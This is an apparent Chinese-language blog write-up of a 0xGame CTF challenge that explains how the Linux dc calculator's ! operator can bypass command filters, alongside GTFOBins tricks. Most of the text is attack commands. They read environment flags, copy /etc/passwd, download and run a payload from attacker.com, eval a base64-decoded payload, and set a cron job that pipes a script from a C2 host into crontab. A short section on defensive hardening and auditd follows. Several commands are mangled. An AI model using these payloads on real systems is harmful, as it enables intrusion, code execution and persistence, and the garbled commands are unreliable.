RCE绕过新思路:0xGame中dc计算器漏洞利用全解析(附GTFOBins实战指南)

张开发
2026/4/11 2:30:15 15 分钟阅读

分享文章

RCE绕过新思路:0xGame中dc计算器漏洞利用全解析(附GTFOBins实战指南)
RCE绕过新思路dc计算器特性与GTFOBins实战指南1. 理解dc计算器的独特价值在Linux系统中dcdesk calculator是一款基于逆波兰表示法的命令行计算器工具。与常见的bc计算器不同dc采用堆栈式运算逻辑这种设计特性使其在特定场景下成为绕过RCE远程代码执行限制的绝佳跳板。dc的核心特点包括无字符串处理能力原生不支持字符串类型所有输入均视为数值或操作符堆栈操作模式采用LIFO后进先出数据结构执行运算命令执行接口通过!操作符可直接调用系统shell环境变量访问支持通过特定语法读取系统变量# 基础dc运算示例 echo 3 5 p | dc # 输出82. 0xGame中ez_rce题目的突破路径分析题目环境时发现存在以下限制过滤了常见命令分隔符; |禁用引号等字符串标识符黑名单包含bash、sh等shell关键字2.1 关键绕过技术利用dc的数值处理特性构造payload114 1000 * 514 p # 数学运算114*1000 514 114514 !ls -al / # 通过!执行系统命令技术要点数值运算作为干扰因子绕过关键字检测!操作符后的命令不会被解析为字符串堆栈操作天然规避命令拼接检测2.2 环境变量读取技巧当需要获取敏感信息时# 通过系统变量获取信息 !echo $PATH !env | grep FLAG3. GTFOBins工具库的实战应用GTFOBinshttps://gtfobins.github.io/收录了大量可用于权限提升和绕过限制的合法工具技巧。3.1 常用功能模块功能类别代表命令适用场景文件操作!cp /etc/passwd .敏感文件复制进程查看!ps aux系统进程分析网络探测!netstat -tulnp端口与服务识别权限提升!sudo -l检查sudo权限3.2 典型利用链构造# 分步执行复杂操作 114514 p # 干扰数值 !mkdir -p /tmp/exploit !cp /challenge/* /tmp/exploit !cd /tmp/exploit ./vulnerable_bin4. 高级绕过技术精要4.1 多进制混合运算利用dc支持的多进制特性构造非常规payload# 八进制表示法 echo 8o 114 514 p | dc # 输出八进制结果 # 十六进制运算 echo 16i BFEB p | dc # 将BFEB从16进制转为10进制4.2 堆栈操作与命令组合通过堆栈操作实现复杂逻辑# 条件判断实现 echo [shell命令]sx 1 0 x | dc # 当10时执行命令实际不执行 echo [shell命令]sx 1 1 x | dc # 条件成立时执行5. 防御对策与检测方案针对此类攻击防御方应考虑输入过滤增强禁用!操作符限制dc的寄存器操作监控异常数值参数环境加固# 限制dc权限 chmod 750 /usr/bin/dc setfacl -Rm u:www-data:- /usr/bin/dc日志监控规则# auditd规则示例 -a always,exit -F path/usr/bin/dc -F permx -F auid1000 -F auid!4294967295 -k dc_exec6. 实战案例扩展通过dc实现文件下载# 下载远程payload !curl http://attacker.com/exp.sh -o /tmp/exp !chmod x /tmp/exp !/tmp/exp环境变量注入技巧# 通过环境变量传递参数 !export PAYLOAD$(echo YmFzaC... | base64 -d) !eval $PAYLOAD7. 工具链整合建议建议将dc技巧与其他工具结合使用与SQLite配合!sqlite3 /var/www/db.sqlite SELECT * FROM users网络探测组合!python3 -c import socket; socket.create_connection((127.0.0.1, 22))权限维持技术!echo * * * * * curl http://c2.server.com/update | crontab -掌握dc计算器的特性利用方法能为安全研究人员提供全新的测试视角同时也提醒防御方需要关注非常规工具的潜在风险。建议在合法授权范围内实践这些技术并持续关注GTFOBins等资源的最新更新。

更多文章